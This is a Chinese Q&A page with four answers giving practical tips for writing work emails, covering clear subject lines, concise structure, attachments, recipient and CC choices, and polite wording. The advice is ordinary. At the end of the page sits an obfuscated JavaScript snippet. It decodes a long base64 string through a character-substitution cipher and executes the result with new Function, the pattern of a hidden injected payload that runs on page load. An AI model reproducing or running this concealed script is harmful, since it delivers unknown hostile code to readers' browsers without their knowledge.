写好工作邮件有哪些技巧?

2025-04-03 16:32:22
推荐回答(4个)
回答1:

要写一封好的工作邮件,以我十几年的千亿级企业的工作经验总结,有以下一些技巧特别重要:

1、不要犯低级错误

首先是不要出现一些最基本的错误,比如没有写标题、没有附件、写错别字、没有称呼、没有落款等

2、主题简洁清晰

很多人写的邮件主题不明确,啰啰嗦嗦一长条,或者就特别简单几个字,常常会被忽略。

如果你写个邮件让人看了半天才明白这邮件要干什么,那么对方一定觉得你不专业。

拟好标题后,正文内容围绕标题展开,不要跑题,不要重复,不要遗漏(具体的可以参考金字塔原理之MECE法则)。标题要清晰完整地表达正文的大意。

3、内容简练有逻辑

很多人尤其是老板,最不喜欢看到洋洋洒洒一大篇,有时候连分段都没有的邮件。

一封好的工作邮件,一定是内容简单清晰,就事论事的,通过清晰的条列或表格把事情讲清楚。

结构一般是:1)事情的背景或起因;2)主要内容阐述,最好写成123;3)待解决或须请示的事项

如果你这个邮件特别重要,还可以加上“请回复”类的要求,或者加上收条。

4、有礼貌

既然是工作邮件,基本都是在商务场合,那么措辞是要讲究的。要斟酌用语,不要因为词不达意而伤害了其他的同事或者是组织,招来无谓的猜忌。正式、书面、有理有节的邮件,大家都喜欢。

5、不要随便抄送和群发

工作邮件最忌讳乱抄送,和全员回复,这两个操作一定要想清楚再做。

根据不同的情况选择不同的收件人,可以更加高效、有责地工作,但是最好要分清场合和职务,发送之前想清楚,尤其是抄送人和密送人。

6、字体和布局

工作邮件不要写得花里胡哨,或者字体特别大、特别小,要用大家通常惯用的字体和大小。

对于里面特别重要的事项,要进行颜色的标注,以提醒收件人注意,尤其是内容比较多或者比较重要的邮件。

以上几点做好,相信你会写出非常标准、清晰的工作邮件了。

毛毛老师,英国博赞中心认证思维导图TLI导师(公众号:惟思导图)惟思学社,斜杠青年梦工厂,助您发现自己的更多可能

回答2:

不少人觉得邮件这种东西特别简单,写邮件时总是按照自己性子来。或天马行空,或深不可测。总之,这种人对待邮件,从来不会当成一件正式来看待。

但是,职场无小事。哪怕只是邮件这样一种日常交流沟通的工具,处置不好也会让领导和同时对你产生极其恶劣的印象。那,究竟应该如何写好邮件呢?结合自己经验,从以下几个方面进行阐述:

1)标题

所谓的标题,其实就是你这封邮件的关键信息所在。优秀的标题,可以直截了当告诉收到邮件的人,这封邮件用途是什么,主要想说什么。重要事情说三遍:标题一定要写!标题一定要写!标题一定要写!

2)正文

正文要保证长度合适,既不能冗余,也不能简单应付。并且,要在文末,要加上“以上,非常感谢”之类的字样,以表示自己对收件人的尊重。

3)附件

附件需要注意两件事情。首先,我们一定要将我们附件名称严格修改,与邮件标题想要表达的意思保持一致。其次,要在正文说明有附件。

4)抄送人/收件人

一定要搞清楚收件人是谁,抄送人需要抄谁。在这一部分,如果在发送邮件时没有搞清楚,要及时询问领导。

5)回复/全部回复

关于回复和全部回复,其实是有很多惊悚的案例的。有一些人,就是因为误将全部回复当做回复,导致邮件直接发送给了公司全部人员。对这条一定要懂得如何使用,不然会被贻笑大方。

回答3:

工作邮件需要注意以下几点:

1、需要注意邮件的发送对象,是上级,同事,还是下属,亦或是合伙伙伴,客户等等,不同的对象,即使是在说一件事,邮件里的称呼,语气和遣词造句都会因身份的不同而有相应的变化。

2、发送邮件的目的主题,这是最核心的问题,需要明确的交待清楚。写工作邮件不是私人信件,情感交流,更多地是项目的进展或者事情的变化需要报告或者告知,因为写邮件的主题一定要简洁明确,而且语言表述需要准确而恰当。

3、一封邮件只写一个问题,写清楚与对方的关系,方便对方即时有效地回复你。

4、邮件如果有附件,第一,需要给附件起个合适的名字,例如与项目相关的叫“XXX项目XXX文件20171011V1.0版”方便保存查询。第二,发送附件需要在邮件中注明,写清楚文件是什么,有什么用,需要对方做什么,是检查还是给予回复等,这样才不会被遗漏掉。

5、邮件签名档,简洁清楚地写明你是谁,负责什么,如何联系你等信息即可。

回答4:

邮件作为职场人士正式交流工具,体现着他的严谨与规范,一封合格的邮件将会给职场加分,哪么又有哪些技巧呢?今天从职场人写邮件常犯的3个错误角度分享给大家:

一、发错对象:你要发给谁?——明确邮件发送对象!


邮件收件人应该是主要责任人或者是被告知人,职场人要根据自己所处的位置,对收件人进行选择,必要时还要学会运用抄送功能,抄送给相关领导知悉!

试想,如果你收到一封和自己毫不相关、莫名其妙的邮件,是不是会一脸懵逼,吐槽一番呢?

二、陈述不明:你要说什么?——明确发邮件的目的,简练陈述!


一封好的邮件时能让人快熟明白目的和用意的!所以,你要在文中简要说明你的来意和目的,希望得到什么结果,这时,你就可以运用“5w1H”来编辑啦!

举例:XX领导:您好!我是XX部门XX,半年会材料PPT已编制完毕,现已上传附件,需要麻烦您审核,望您能抽空看一下,您可以直接在邮件中回复或在PPT中标注均可,感谢!祝工作愉快!XXX部门XXXX年XX月XX日

三、漏发附件:简要说明中写了“详见附件”,结果写完说明,忘记上传附件了!!


这里,教大家一个小技巧,在写邮件时,换个步骤,你会发现职场还是很友善的!

先上传附件→邮件正文→邮件主题/标题→收件人邮箱!这样既不会忘记上传附件,也不会发错对象啦!是不是觉得很好用呢?

邮件清晰得体,自然能获得领导青睐啦~


我是“快意聊职场”,欢迎关注和点赞,升职加薪有套路哦!

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();